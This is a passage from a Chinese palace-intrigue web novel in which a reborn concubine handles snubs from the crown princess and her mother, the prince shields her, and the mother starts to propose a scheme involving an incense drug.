妾早先在广储司时听掌事嬷嬷说艾绒有疏通筋络、温补中气的功效,外头不少读书人都喜将它做成垫子。
如此就算久坐,也不至于太损耗身子。
妾身便想给您做一个这样的垫子,这样您看书写字的时候也能舒坦些。”
这也不算假话。
上辈子太子登基时年近三十五,身子比现在魁梧健硕得多,每每伺候他一晚,她感觉都要去了半条命。
但任谁也不会想到。
英武伟岸的庆昭帝其实身患痔疾!
说是常年久坐,局部气血不畅而致。
登基前两年就有了。
但太子殿下碍于颜面,不肯让太医为其诊治,以至于后面越拖越严重。
不过。
也怨不得后来皇帝陛下把消息瞒得死死的,毕竟堂堂一国之君病在那处。
连槛儿都是在这人五十的时候才知道这事的,还是海顺实在没办法了。
不得不求到她跟前。
后来在槛儿的各种劝说下,庆昭帝终于点了他高贵的龙头同意让御医诊治。
当时养病期间。
御医让庆昭帝用的就是艾绒坐垫。
艾有活血化瘀、温阳散寒之效,用艾绒垫对预防及治疗那病也有一定效果。
这辈子槛儿当然不能让太子患那样的病,她可没忘庆昭帝养病期间因朝中的事怒气攻心,两度都险些血崩!
只是她现下能做的不多。
又不能直接提醒太子要当心生痔。
槛儿十成十肯定。
她要敢开这个口,这人绝对当场扭头就走,从此再不踏入永煦院半步!
所以没办法。
槛儿想到了艾绒坐垫。
现在距离太子得那病还有十年,她就先送垫子给太子,等过两年两人亲近了,再考虑直接开口提醒吧。
骆峋可不知自己将来会患上痔疾,他本就是好奇,想起了随口一问。
见槛儿神色坦诚,骆峋不疑有他。
“你有心了。”
明日有早朝,昨晚行过事的太子爷今晚就不打算做了,洗漱完就上了榻,靠在床头看海顺带来的书。
等槛儿收拾完来到榻前。
他拿起放在旁边柜子上的那个小匣子递给她,“瑜姐儿给你的赔礼。”
第57章 太子:孤可不贪色。
槛儿接过匣子,表现出几分吃惊。
骆峋无意谈及宣王府的事。
“小丫头在席间不是让你为难了?知道错了,托宣王让孤转交于你。”
槛儿上辈子不认识宣王妃,自然也不认识瑜姐儿,这会儿听太子提起,她下意识想起那个白嫩胖乎的小丫头。
打开匣子。
是一条五色线彩绳。
大靖有端午戴这种彩绳的习俗。
意在驱邪避灾,祈福纳吉。
早先的时候大人小孩都戴,后来大抵是觉得不美观,渐渐便只有孩童戴了。
瑜姐儿的这条五彩绳丝线用的都是极好的,长度也够戴在槛儿手腕上。
就是手艺委实粗糙,中间有好几处都有一小截儿线松松垮垮地冒出来。
看着像是出自孩童之手。
槛儿惊讶问:“这是大郡主自己编的?”
如果她记得没错,宣王家的大郡主才刚满三岁不久,能编这种彩绳了?
骆峋瞥眼槛儿的手腕。
她虽比寻常女子丰腴,但骨头小,身形匀称,该丰的地方丰,该瘦的地方瘦。
若非夜里亲近,骆峋也不会想到她的手腕看似纤细,实则却很是丰润。
也因着她身子骨好,每回行事两人都格外尽兴。
此时她的腕上只戴了那根五彩绳,那等粗糙的做工经她莹润纤白的腕子一衬,竟多出了几分金贵感。
骆峋移开视线:“瑜姐儿早慧,想是觉得亲手制作的东西更显诚意。”
槛儿举起手腕端详了片刻,随即把绳子摘下来放回小匣子里,转身上榻。
骆峋搁了书躺下。
海顺过来放下床帐熄了灯,领着瑛姑姑等人告退,墙角小灯散发着微弱的光。
槛儿习惯性抱住旁边人的腰。
“殿下,妾身可以给大郡主回件东西吗?”
她这么说自然不是想要通过这种方式和宣王妃,或者宣王府套关系。
“妾身没别的意思,妾身就想的是家宴席上的事妾身并没有放在心上。
但大郡主不知道,大郡主给妾身送她自己亲手做的赔礼,想来是以为妾身在为昨晚的事生气什么的。
您说大郡主早慧,以早慧孩童的心性,若妾一点表示也无,怕是大郡主多半近几天都会把这事放在心上。
多不值当,所以妾想好歹回件东西让大郡主知道妾其实不曾同她置气,如此也好让大郡主早些心安。”
上辈子跟小丫头没交集。
所以哪怕知晓前世宣王妃和小家伙的死,昨天见面,槛儿心里也没生出什么特别的情绪,顶多觉得惋惜。
小丫头借她打压姜侧妃,她倒也没恼。
这会儿她也没有那种小家伙送了她手链,她就要满腔豪情壮志,不顾自己现今的身份地位也一定要帮宣王妃和瑜姐儿避开惨死的想法。
那太戏剧化了。
但相遇即是缘,她先同大郡主往来一回,今后若有机会帮她和宣王妃避开惨死,槛儿倒也愿意出手。
“可以吗?”关系到东宫和宣王府的接触,槛儿不敢坚持,试探道。
骆峋躺着板板正正。
忽视压在左臂上棉花般的触感,闭着眼道:“可以,你打算回什么?”
东宫和其他府上的往来确有限制。
但他和宣王是兄弟,明面上的接触只要不涉及朝政立场便没有问题。
“手帕吧,适合大郡主这个年纪用的小手帕,妾身自己绣花,您看如何?”
槛儿以商量的口吻道。
给孩子送礼,通常是吃食、玩具,或是常见的长命锁长命手镯之类的。
但大郡主的身份不同。
入口的东西最容易被动手脚,玩具她这边短时间找不到合适的。
宣王府也不缺。
长命锁、手镯都要金银制,以她的身份给亲王郡主送金银制的东西属僭越。
反正也就是聊表一下心意,一块自己精心缝制的手帕便恰如其分。
“可以。”
骆峋不着痕迹地往外侧挪了挪,搭在腰腹上的薄被有异,他微微支起腿。
“宣王妃在病中,不便与外往来,你绣好帕子,叫袁宝之前送过来的宫女送来元淳宫,孤让人替你转交。”
槛儿刚刚还在想,她和宣王大郡主的往来算后宅里的交集,按理东西做好了应该交给郑氏请她帮忙转交。
没想到太子这就安排好了。
如此郑氏那边便不用她找托词了。
“有劳殿下了。”
槛儿抱得更紧,抬了抬头枕在男人肩头,礼节性问:“宣王妃病了,严重吗?”
骆峋拍拍她的肩。
“不严重,睡吧。”
再抱下去,他不能保证什么也不做。
不对。
他今晚势必不做。
若连着两晚都做,他岂不成贪色之辈了?
他可不贪色。
槛儿没察觉到太子爷的坚持,知道他明日要上朝,海顺把朝服都拿过来了。
于是槛儿没再缠人。
也板板正正躺到一边闭上眼酝酿睡意。
不多时。
骆峋听到身旁人的呼吸变得均匀绵长。
他放松身体。
在这道呼吸声中渐渐昏昏欲睡,但没等他睡沉,身旁人忽然一个翻身。
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不但再度抱住了他的腰,一条腿也又像今晨那般熟练地搭到了他身上。
膝盖撞到他腰腹往下的位置。
骆峋闷哼。
默缓片刻。
他握住那条腿,有意将其挪开。
谁知他才刚有动作,紧挨着他的人就娇娇哼唧了声,愈发抱他抱得紧。
还蹬着他的腿往上挪了挪,随后很是自然地抓起他的左臂枕到她颈下。
和昨晚如出一辙。
骆峋:“……”
骆峋默默望着帐顶。
须臾。
他翻身,搂着她的腰把人往怀里一按。
槛儿重新寻个舒服的姿势。
一夜无梦。
.
逢夏季元隆帝每日都是卯时初上朝,多数时候卯正左右就能结束。
若无私奏,元隆帝也没单独召见,各部官员基本都在卯时八刻到衙门上值。
东宫到奉天殿近两刻钟的路程,骆峋先前半个月每日不到寅正便起了。
槛儿察觉到身边的动静。
坐起来往窗外看了一眼,天还是漆黑。
海顺领着人进来掌灯。
骆峋听到身后的动静回过头,见她衣衫微乱长发披散,烛光照亮她的脸,依稀可见浓浓的惺忪之态。
她蹭着要下榻。
骆峋收回目光,“睡你的,不用你伺候。”
立在一旁端着铜盆唾壶等洗漱用具的一众小太监,低着头心中连连咋舌。
知道宋昭训如今当宠,也难得他们冷性子的太子爷这么稀罕一个人。
但宫里伺候陛下或是太子的人,按规矩就是该晨起服侍这两位更衣梳洗。
哪怕魏贵妃,逢陛下到她的万春宫过夜,第二天早上起来都要好一番伺候。
这会儿太子爷竟是不让宋昭训起来服侍,还让她继续睡,啧啧啧。
“妾身伺候您。”
槛儿摇摇头。
下了榻从海顺手里接过太子的朝服。
上辈子到后面她确实很少伺候他晨起,因为夜里实在被折腾得没精力。
但眼下宠才开始呢。
自然还要表现一番贤淑。
她坚持,骆峋没再多言。
等太子爷走了,槛儿睡了近半个时辰的回笼觉才起来收拾去嘉荣堂。
槛儿原想着等请安结束,就回去把要给宣王大郡主的手帕给做了。
三岁小丫头用的小手帕做起来也简单,小花加小动物,以娇俏活泼为主。
槛儿在这边打算得很好,谁知请安要散了时郑明芷却时隔多日叫住了她。
“巳时左右顺国公夫人要来,是时你也过来露露脸,顺道在这边用午膳。”
第58章 顺国公夫人,太子来了!
“那位也真是,国公夫人来就来,干咱们主子何事,还要人专门跑一趟!”
回了永煦院,跳珠日行把在嘉荣堂发生的事告诉了寒酥和瑛姑姑。
望晴、喜雨和银竹更多的时候没在屋里伺候,这会儿便没在场,有些事情也不适合让她们全部知道。
跳珠说完了事,压低声音埋怨道。
寒酥斟酌:“主子原先是嘉荣堂的,在那位跟前伺候,那位这么做……”
明显是要顺国公夫人相看她们主子。
槛儿虽没跟寒酥、跳珠说太多,只让她们知道她在嘉荣堂当差都做过什么。
但寒酥和跳珠在宫里待了近十个年头。
早几年哪宫贵人主子们身边的奴婢侍了寝,哪宫的奴婢怀了龙种这种事。
她俩可听过不少。
所以就像其他人一样,她们也大抵琢磨出了槛儿和太子妃之间的一些事,只是没拿到明面上来罢了。
外人不说,她们不说。
槛儿自然不可能拿出来专门解释,反正这种事大家都是心照不宣。
“嗯,不出意外是寒酥这个意思。”
槛儿没因为这事儿耽误自己该做的事,她面前的纸上刚写了两个临摹的字。
跳珠他们知道自家主子平日里瞧着不显山露水,实则心里都有成算。
但昭训主儿这回要面对的是顺国公夫人,正儿八经的大家老主母。
两人就还是有些担心。
跳珠试探道:“若不把消息传去元淳宫?殿下不在,但袁宝公公他们在,是时来一两个人解围该是没问题。”
反正殿下先前说了类似于要给他们主子撑腰的话,这不正是时候?
“不用。”
槛儿边临摹碑帖边道。
“顺国公夫人是殿下的岳母,她来东宫探望那位名正言顺,也瞒不了人。
我过去,回头也会众所周知,这种情况她们就算要落我颜面,顶多也只会让我坐冷板凳或是端两盏茶。
再者这里是东宫,顺国公夫人若是连这点分寸都没有,吃亏的只会是她。”
太子替她撑腰当然好,但她若逢上事就向他求助,未免显得太顶不住事。
这么顶不住事,往后即便留了孩子在身边,太子也未必觉得她护得住。
这是其一。
其二,太子今天去上朝,明显是要有正事,她不想在这种节骨眼儿上拿还没有定数的事去烦扰他。
半个时辰后。
出去溜达了一圈回来的小福子来报说,顺国公夫人已经进嘉荣堂了。
槛儿没急着上赶着过去。
等嘉荣堂那边来了个小太监跑腿,她才收拾完带上跳珠银竹过去。
到地方时顺国公夫人和太子妃在内室,门前的二等宫女把槛儿领了进去。
跳珠和银竹只能在外侯着。
进了屋,槛儿不动声色地将屋中情形收入眼底,对坐在炕上的郑明芷行礼。
郑明芷却像是没注意到人,也没听到她的声音,只管同顺国公夫人闲话。
霜云端着一碟子今年江浙地区刚进贡的新鲜杨梅从槛儿身边经过,放到炕几上,亲**招呼顺国公夫人吃。
“您快尝尝,这可是昨儿刚送进宫今儿一早内务府才奉娘娘的命分下来的呢。”
杨梅用一个胭脂粉釉莲瓣状的碟子盛着,底下一层薄薄的冰,上面堆放的果子颜色浓艳,颗颗饱满,每一颗表面都缀着细碎剔透的水珠。
单看着便觉生津解渴。
顺国公夫人由霜月伺候净手。
感慨而不失尊敬道:“陛下仁德,娘娘贤良,殿下德厚流光,托这三位的福,才有我们如今的太平日子。”
庞嬷嬷、霜云霜月三人连声附和,顺国公夫人这才拿起银签子叉了颗杨梅。
能送进宫的杨梅不像民间野生的那么酸,以甜为主,略夹杂着酸意,配冰食用可谓爽口解暑至极。
郑明芷也拿银签子叉着吃。
母女俩就这么吃着杨梅说着话,对保持着行礼姿态的槛儿视若无睹。
这是大妇刁难小妇的常见手段。
叫槛儿猜中了。
如是差不多过了一盏茶的功夫。
郑明芷才像是终于想起槛儿这个人,扬声道:“怎么还不把人请进来啊?”
霜云笑着瞥槛儿一眼。
“瞧奴婢这记性,早请人进来了,竟是扭头就给忘了,太子妃恕罪。”
说着,还走到槛儿旁边。
“宋昭训莫怪啊。”
槛儿没抬眼。
只笑了笑柔声道:“霜云姑娘贵事繁忙,偶尔漏一两件事再是正常不过,早知我不该在此挡路,没得碍了姑娘的事,该我请姑娘莫怪才是。”
什么贵事繁忙。
再高等的奴婢做的不都是伺候人的活儿。
能贵到哪儿去。
还什么挡路,这不就是在说她眼瞎吗?!
霜云原借机奚落这位所谓的宋昭训一番,却没想到这人看似对她客客气气,实则竟是反过来嘲了她!
霜云:“你!”
“行了。”
郑明芷皱眉。
“多大点儿事,也值得你话里话外斤斤计较。”
这话她看着霜云说的,但摆明了是说给槛儿听的,暗指她心眼儿小。
槛儿假装没听明白。
霜云听懂了主子的话,可惜不能再说什么,只能假作委屈地受了教。
“起吧。”
郑明芷对槛儿道,语调温和听不出喜怒,“国公夫人难得进一趟宫,你还没见过,便来认识认识吧。”
其实按理说女儿找人生孩子这种大事,身为娘就算没有话语权,也至少早该同槛儿见过,认了人才对。
顺国公夫人却是至今才跟槛儿见面,这其实也是缘于一年前的那件事。
因为那事当时顺国公夫人参与了,她怕被太子察觉然后再查到她头上。
郑明芷则因为心虚,没底气。
所以过去的一年多顺国公夫人拢共只进了两趟宫,郑明芷找上槛儿的时候也没想起让她娘帮忙掌眼。
“国公夫人。”
槛儿的品阶没有顺国公夫人的高,但她是太子的妾,不用同外臣女眷见礼。
槛儿只看着对方,浅笑着打了声招呼。
顺国公夫人今日没穿命妇服,只一件棕红绣宝相花立领短衫,群青色马面裙,梳着牡丹髻,既贵气又温和。
“宋昭训果然好容貌。”
她看似很有分寸地打量着槛儿,脸上带着恰到好处的笑,夸赞道。
“老身这么些年可还没见过宋昭训这般的妙人儿,也怪道殿下喜欢呢。”
槛儿难为情般侧了侧首。
顺国公夫人的视线从
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槛儿身前身后扫过,眼里迅速闪过一抹不满。
面上倒十分宽和:
“能得太子妃抬举是天大的福气,不过也劳得宋昭训尽心伺候殿下。
日后若能一举得男,替殿下和太子妃生下嫡子,宋昭训自是功德无量,老身也要替太子妃感谢宋昭训。”
不得不说,顺国公夫人的话术当真高明,比郑明芷强了不止一星半点。
她开口便点明了槛儿是受她女儿抬举才有的今天,提醒槛儿莫要忘本。
看似在对槛儿表示感谢。
实则每一句都无不是在提醒槛儿,她的肚皮不是她自己的,是她女儿的,日后生的孩子也是替她女儿生的。
不要意图有什么痴心妄想。
此外,一个“嫡子”也是在告诉槛儿,若她安分,日后生的孩子便为嫡。
皇子龙孙固然个个儿尊贵,可当下讲究立嫡立长,占了个嫡就是占了便宜。
就好比太子。
比大皇子信王足足小了十七岁,占了个嫡,储君的位置就是他的。
顺国公夫人简简单单的两个字,却是实实在在戳中了人心和人性。
女子但凡做了娘,就鲜少有不想让自己的孩子将来过上好日子的。
上辈子的槛儿不也带着这样的私心吗,可惜结果不过是她的自以为是。
“老夫人言重了,”槛儿微微捏了捏袖下的手,没有说表立场忠心的话。
顺国公夫人的脸沉了沉。
却是没再说别的。
郑明芷给槛儿赐了座。
之后的时间母女俩都没再和槛儿交谈,只有一搭没一搭地聊着其他事。
槛儿便安静地充当石头墩子,听她俩说顺国公府另外几房狗屁倒灶的事。
没多会儿。
小宫女来请几位主子到外间用午膳。
槛儿不用向顺国公夫人见礼,但作为侍妾,逢用膳却有服侍主母之责。
所以别看郑明芷早上那会儿说,让槛儿顺便在嘉荣堂用午膳,实则这顿膳槛儿却是不能和她们同桌而食。
只有等她们用完,槛儿才能到偏殿吃几口,而正式用膳时她则得替郑明芷侍膳。
小宫女伺候槛儿净了手。
槛儿挽挽袖子,站到郑明芷身侧,从善如流地执起桌上侍膳用的银著。
顺国公夫人暗暗打量槛儿的仪态举止,愈发觉得此女是个不简单的。
郑明芷今儿没打算公然刁难槛儿,但她见不得槛儿如此从容的姿态。
她的眼神故意没落到桌上的具体那道菜上,就这么干等着槛儿布菜。
也没等多久,就眨个眼的功夫。
她便不悦地看向槛儿:“还愣着做什么?侍膳都不会,你还能干……”
剩下的“什么”两个字被院子里突如其来的一阵请安动静给打断了。
却是太子来了。
顺国公夫人和郑明芷脸色齐齐一变,对个眼神迅速放下筷子起身。
下一刻,一身杏黄绣龙纹锦袍的太子步了进来。
两人屈膝行礼。
槛儿规矩地跟着福身,眼帘都没掀一下。
骆峋的目光在槛儿身上微顿,遂往旁边一瞥,膳桌上的情形一目了然。
结合槛儿站的位置和那双被动过的银著,想到她差点伺候了郑氏。
他的喉间蓦地升起一股呕意。
第59章 太子不让宋昭训吃剩饭剩菜呢
“国公夫人无需多礼。”
骆峋压下这股不适,来到膳桌前在北面的位置大刀金马地落座。
“殿下要来怎生也不使人来说一声,妾身也好让膳房多备几样,您看现在这……”
当着槛儿的面,郑明芷恭敬又不失亲近地娇嗔。
顺国公夫人:“太子妃至孝,这顿膳全照臣妇的喜好安排的,不知殿下驾临,失礼之处还请殿下恕罪。”
也是好笑。
她母女二人和太子都对一年前的那件事一清二楚,此时三人却都心照不宣。
唯有槛儿。
只知道太子和郑氏有龃龉,顺国公夫人后来被砍了头,却并不知其中详情。
“国公夫人过府,孤当问安。”骆峋没接郑明芷的话,只对顺国公夫人道。
“不必拘谨,请坐。”
寻常人家的女婿招待自己丈母娘,除了尊重或多或少都还会有几分笑脸。
轮到太子,字里行间礼数确实周到。
但不论是他先一步落座主位的行举,还是他说这话时的淡漠神情和言简意赅,都透着一股皇家上位者风范。
这样的女婿,谁敢对他摆丈母娘的谱啊。
反正顺国公夫人不敢。
尤其一年前发生了那件事,顺国公夫人对太子除了恭敬便只有怕了。
这会儿听太子惜字如金,她也没敢再多言,谢了恩后重新坐回位置。
郑明芷吩咐人让膳房加几个菜后也坐下了,自有宫人伺候太子净面净手。
槛儿觉得现在的气氛诡异极了。
上辈子顺国公夫人来东宫她虽也经常到郑氏跟前伺候,但那时候太子是从没来同顺国公夫人用过膳的。
他是太子,注定了他和寻常人家的女婿不一样,他不想讲究这些虚礼就不会讲,也没人敢挑他的不是。
今儿也不知怎么过来了。
太子从不允许妾室对郑氏不敬,更别说这会儿当着外人的面,因此槛儿还是若无其事站回了郑明芷身侧。
“劳请昭训替殿下侍膳。”
但就在槛儿准备拿起刚刚放下的银著时,立在太子旁边的海顺突然退开两步,笑眯眯地朝她看过来。
屋中的气氛肉眼可见地凝滞了一瞬。
顺国公夫人还好。
毕竟在国公府当了这么多年的主母,虽然对海顺的擅作主张很是不满。
但她也知道海顺敢这么说,就说明他是揣摩了太子的意思才有此一言。
太子要让这小妇伺候,她即便心里不满,此时也万万不该她表露出来。
郑明芷的表情就明显僵了僵。
不过槛儿没看她们。
海顺代表了太子,太子都默认了,她若还谨小慎微地顾忌郑氏,意思岂不是她把郑氏看得比太子还重?
如此低级的错槛儿不会犯。
于是海顺的话一说完,槛儿只稍显意外地顿了一下就朝郑明芷无声福了福身,扭头来到太子身侧。
太子没察觉到桌上刚刚那一瞬的微妙气氛似的,不咸不淡道:“开膳吧。”
槛儿左手轻压着右边的袖子,右手执起银著,默默为太子布起了膳。
诚然,这辈子的她从前没做过给人侍膳的事,正常情况该动作生疏才对。
但谁叫槛儿当初被选去广储司,又被调来嘉荣堂的缘由是两边的掌事都觉得她心灵手巧,办事稳妥呢。
看多了别人侍膳,学会了也不足为奇吧。
反正槛儿没有刻意装得笨手笨脚,没得落了自己和太子的颜面。
给太子侍膳其实不用怎么担心会夹错菜,因为一般情况下,太子几乎不会表现出想吃哪道菜的意愿。
反正每道菜只两口。
若逢上太子没有下席的意思,那就把桌上的菜均匀地再轮一遍。
当然,也有例外的时候。
譬如昨晚和槛儿一起用膳。
这种时候就考验侍膳人的眼力了,且一筷子不能夹太多,也不能夹太少。
譬如眼前那道蜜酿红丝粉。
水晶粉在烹制时被裁成了每段刚好一寸半的长度,粉质剔透顺滑,拌有人参笋丝、鸡枞菇丝等配菜。
夹这道菜时便不能一筷子下去夹得满满的,或是只可怜兮兮地夹几根。
而是要刚好够寻常男子一口的量,还不能只夹粉,必须得和配菜一起,保持粉和配菜各半的比例。
且动作一定要稳,夹菜过程中不能溅起油汁,不能中途让菜从筷子里漏了。
所以说侍膳考验的不仅有人的眼力、领悟力,还有对各种餐具的掌握能力。
因着这种种的讲究。
随着太子一句“开膳”,屋中之人的注意力或多或少都放到了槛儿身上。
有替自家太子妃盼着槛儿丢丑的,有纯粹好奇槛儿会怎么做的,也有替槛儿默默捏一把汗的元淳宫的人。
然而左等右等。
他们期待或担心的事都没发生。
相反宋昭训的布膳。
不论速度还是量的准度以及仪态的规范,都把握得可以说是尽善尽美。
太子刚咽下口中的食物,再一抬眼,下一道菜便精准无误地被放到了太子面前的娇黄釉青花龙小碟里。
屋中鸦雀无声。
包括海顺在内,都被槛儿近乎炉火纯青的侍膳手法暗暗惊掉了下巴。
倒是太子爷,神情淡然自若与寻常无异。
用罢了膳。
太子漱完口率先移步至堂间,郑明芷和顺国公夫人紧随着起身。
临走前,郑明芷不忘细心交代:“剩下的挪到偏殿去,请宋昭训过去用膳。”
除了太子,方才顺国公夫人和郑明芷都没用多少,桌上的菜还剩了不少。
槛儿吃这些剩的就算是和他们一起用膳,也应了太子妃留宋昭训用膳的话。
宫里这些贵人主子们用过的饭菜,即便是剩的,摆盘也还是相当精致的。
且都是好东西,根本算不得磕碜。
几个小宫女这就要把东西往偏殿搬。
不过她们还没来得及动作。
那厢堂间忽然又传来了海总管的声音:“劳请宋昭训伺候殿下用茶。”
郑明芷:“……”
郑明芷的表情差点没绷住。
又是叫人侍膳,又是叫人伺候用茶,嘉荣堂和元淳宫的人是死绝了吗?!
用得着事事都找这贱婢!
剩的菜再好都是剩菜,尤其还是郑氏和她娘的剩菜,槛儿本来就没想吃。
于是闻言她没耽搁,应声去了堂间。
“太子妃,那这膳……”
一个小宫女忐忑请示道。
郑明芷回头,见几个负责挪
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膳的宫女都没动,她的笑意不达眼底:“先收下去吧,等宋昭训有空了再用。”
她今天还就非得让那贱婢吃这顿剩的不可了。
她还不信了。
太子能一直在这边待着!
说是叫槛儿伺候用茶。
实则也就是把小宫女端上来的茶呈到太子面前,然后站在旁边就没事了。
当着太子的面,顺国公夫人和郑明芷不能再聊郑家狗屁倒灶的事儿。
也不能什么都不说干坐着。
她们便就近聊前两天的端午,聊和元隆帝裴皇后有关的事,字里行间都是对帝后和太子的赞美之意。
就这么干巴巴地喝了一盏茶,太子起身:“孤还有事,国公夫人请自便。”
顺国公夫人赶忙站起来。
“殿下正事要紧。”
走走走,赶紧走。
不然她们在这儿话都说不好。
郑明芷笑:“妾身会招待好母亲的,殿下不必忧心。”
骆峋没忧心。
单手负后朝外走了。
顺国公夫人暗暗松一口气。
谁知松到一半,迈出门槛的太子像是想起什么,忽然停下回头看过来。
“宋昭训跟上,孤有事与你说。”
说罢,也没管屋里人的反应。
径自步下台阶。
郑明芷一口银牙差点没咬碎,顺国公夫人的眼神闪了一闪又一闪一闪。
“太子妃,容妾身先行告退。”
槛儿没去想太子是真有事跟她说,还是真有意借此来替她解围的,闻言毕恭毕敬地对郑明芷行礼道。
“去吧,别怠慢了殿下。”
郑明芷笑容温和。
正值晌午,烈日当空。
路上的花草都被晒得蔫头耷脑的,干热干热的,吹风都没让人觉得凉快。
槛儿领着跳珠银竹追出来时,前面那道挺拔身影离她们都十多丈远了。
槛儿小跑着追了一段。
但眼瞧着那道身影越走越远且没有停下来的意思,槛儿就有点小恼了。
刻意放慢了步子。
骆峋走了一路没听到她跟上来。
不由驻足往后看。
就见她远远行在太阳底下,微微喘着气,一张俏脸被太阳晒得发红,额角鼻尖一层亮晶晶的细汗。
早上还滋润盛放的牡丹此时俨然被晒得蔫头耷脑,花瓣边边都要卷起来了。
骆峋薄唇微抿,举步又走了回去。
“殿下,您步子太大了。”槛儿擦着汗跟他碰头,半是诚实半是撒娇道。
骆峋看着她鬓角处一层薄薄的汗湿,下意识有种想替她擦掉的冲动。
然**。
周遭还有这么多宫人,太子爷可做不出来如此有失体统之举。
他没接槛儿的话,而是侧目吩咐:“让姚大发准备些爽口的饭菜。”
姚大发是膳房总管兼太子膳食的掌勺太监。
从前在御膳房可是专门负责元隆帝的膳食,太子入住东宫时,正值元隆帝最宠他这个六儿子的时候。
于是他大手一挥把姚大发安排到了东宫,命其务必照顾好太子的饮食。
太子已经用过膳了,那这爽口的饭菜不用想也知道是要给谁准备的。
海顺偷笑。
怪道不让人吃剩菜剩饭呢。
原是在这儿等着。
第60章 让太子和她生米煮成熟饭!
“孤还有要紧事,你自回。”吩咐完,骆峋重新看向槛儿,语气波澜不惊。
若非听人来报说她被郑氏叫来伺候,还被留下用膳,他不会跑这一趟。
郑氏打心底瞧不起她。
即便碍于他而不敢在大面上刁难于她,也必定会借侍膳的机会挑她的错处。
有些体面他要给郑氏,但他不愿她被郑氏挑错,也不想她的手去伺候郑氏。
恶心。
他跑这一趟,郑氏会迁怒于她,却不会再通过这些小动作来糟践她。
毕竟,郑氏蠢,顺国公夫人的脑子却是稍微比她的好使一些,稍微。
槛儿不知道太子爷在想什么,听他让人给她准备爽口的饭菜,她顿时就不恼他刚刚走那么快了。
“好,妾身不耽误殿下了,您要看书写字记得叫人垫上那个坐垫,舒坦些。”
骆峋看着小姑娘在烈日下明澈如水的眼,“嗯”了声,稍顿:“有垫。”
槛儿站在树荫下看着太子爷走远,然后带着跳珠、银竹往西六院走。
嘉荣堂门口。
一抹内侍袍在假山后转瞬即逝。
听完小太监的回禀,郑明芷克制不住冷笑。
“舍不得叫人伺候我,舍不得叫人吃剩菜剩饭,临了还要找借口把人带走。
这是打量着我是那山里**的母大虫,生怕我吃了她的肉,喝了她的血!”
顺国公夫人:“我看那小妇着实是个不简单的,你当初怎么寻了这么个人?”
按她想,再没有比霜云霜月更好用的人了。
郑家的家生子,从小伺候着女儿长大的,忠不忠心无所谓,要紧的是好拿捏。
郑明芷看出她的想法,觉得好笑。
“真当东宫的主母跟你的国公夫人一样好当啊,我若能做得了主,何至于你这会儿来事后诸葛?”
“那你现在如何打算?”顺国公夫人没计较女儿不客气的语气,肃容问。
“能如何?嘉荣堂必须得有个孩子,她是我找来的,我还能不叫她生不成?
我确实见不得她得宠,但殿下向来重规矩,他抬举人左不过顺应当下的局势。
我能在小事上挑她的错,却不能真在这时候让后院闹出妻妾不睦的戏码。”
郑明芷撑着额,语气阴沉。
“快了,再过些时日便能请医诊脉了,我且先让她怀,日后等她生产……”
后面几句顺国公夫人赞同。
女儿是太子妃,管好东宫后宅是她的职责。
若不然闹得家宅不宁,东宫遭**给人留下把柄,她自身也会被外界指摘。
但中间那几句。
顺国公夫人却是不这么想。
太子是重规矩,性子也冷。
可再冷也终归是男人。
是男人就不可能不被美色所惑。
就算现在太子抬举那小妇是顺应形势所为,但等日子久了,保不齐不会对那小妇生出什么怜爱之心。
全天下的男人一个样。
不喜女人比他们聪明,不喜女人管束他们,更不许有女人比他们更来事。
他们偏喜娇娇弱弱,无依无靠,最好是把他们当祖宗一样哄着捧着的女人。
如此便当自己是那戏文里的锄强扶弱,怜香惜玉的济世侠客,纵使做着再出格的事,他们也都能拿一句“看她可怜”来替自己正名。
女儿还是太年轻。
沉吟片刻,顺国公夫人没把这些想法说出来。
“这个节骨眼确实不能动她,且皇后娘娘和陛下都知晓她要替你生孩子,另外今儿殿下也算表明态度了,暂时最好还是不要在小事上挑她。”
略微思索,她继续道:“但真要就这么等到她生产什么都不做,也不妥。”
郑明芷斜眼看她。
顺国公夫人:“殿下如今立她起来或另有原因,但常言道英雄难过美人关。
那小妇又瞧着不是个安分的,难保她不会趁殿下往她屋里去使什么腌臜手段,这样下去没准儿真让她成了事。
日后她再得宠,又生一窝,万一还有儿子,到时候你就是养着一个也不妙。”
郑明芷当然想过这个问题。
除了看不起那贱婢的出身,这也是她容不了那贱婢得宠的另一个原因。
可就她和太子现在这样的关系,她又管不了他去谁屋里不去谁屋里。
她能怎么办!
“那照你来说我该做些什么?”郑明芷盯着她娘,目不转睛地问。
顺国公夫人与她对视。
过了会儿,她压低声音:
“别人有不如自己有,将来那小妇的你要养,但自己的孩子你也得生。”
郑明芷还当她有什么好主意,结果憋了半天就这,她立时沉了脸。
“我要能自己生还用得着你来说?还用得着寻那么个不安分的东西来?”
“你别急,先听我说。”
顺国公夫人耐心安抚道。
“别人生的再好终归是别人的,若是个有心的倒还好,就怕碰上个没良心,旁人稍微一挑唆就对你生了二心。
如此,就算将来你扶了他起来,第一个对付的怕就是你这个养母。
这样的孩子养了也是白养,有个自己的,两头下注岂不更好?至于怎么生……”
顺国公夫人对郑明芷耳语。
郑明芷听得直皱眉,眼神排斥又厌恶。
等顺国公夫人坐回位置。
她的声音直冒寒气:“一年前那事怎么发生的要我提醒你?你觉得我还会听你的让自己重蹈覆辙吗!”
当初要不是她娘给了她药,让她日日用,说连续用上半月便能恢复完璧。
她怎可能被一个上药的物件勾起兴致,又怎可能被太子撞见那般的场景!
郑明芷不觉得当时没控制住欲念是自己的错,错都在于她娘,她娘如果不让她用药不就没那档子事了!
是他们把她生成这样的。
她的身子,她的人生。
从一开始就是被她爹娘毁了的!
顺国公夫人知
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道女儿怨她。
但她不恼,也不怪女儿。
因为确实是他们当爹娘的错,他们不该给女儿这么副身子,是他们的错。
所以打从知晓女儿有了这病,她便事事顺着她,哪怕女儿跟大儿子的书童有了首尾,她也没恼她。
只秘密处理了那书童,想方设法从她娘家一位瞎眼婶母手里拿到了秘药。
可惜,被太子撞见了女儿用药。
书童的事她处理得很干净。
女儿的病除了她和庞嬷嬷,以及**的霜雪霜星,其他人一概不知。
包括顺国公。
因此,顺国公夫人不担心太子会查到女儿婚前失身的事。
她怕的是太子发现女儿当时在用药,怕查到那药是她带进宫给女儿的。
但时隔一年多。
太子除了没跟女儿圆房外其他什么也没做,想来该是没查出什么东西。
估计也是碍于元隆帝不好动他们郑家。
既如此,顺国公夫人便渐渐放下了心。
如今只想为女儿谋划。
“不会重蹈覆辙。”
顺国公夫人小声道。
“那玩意儿是混在香里的,见效尤为快,进了鼻腔不消两息功夫便能叫人头脑发昏,眼前生出幻象来。
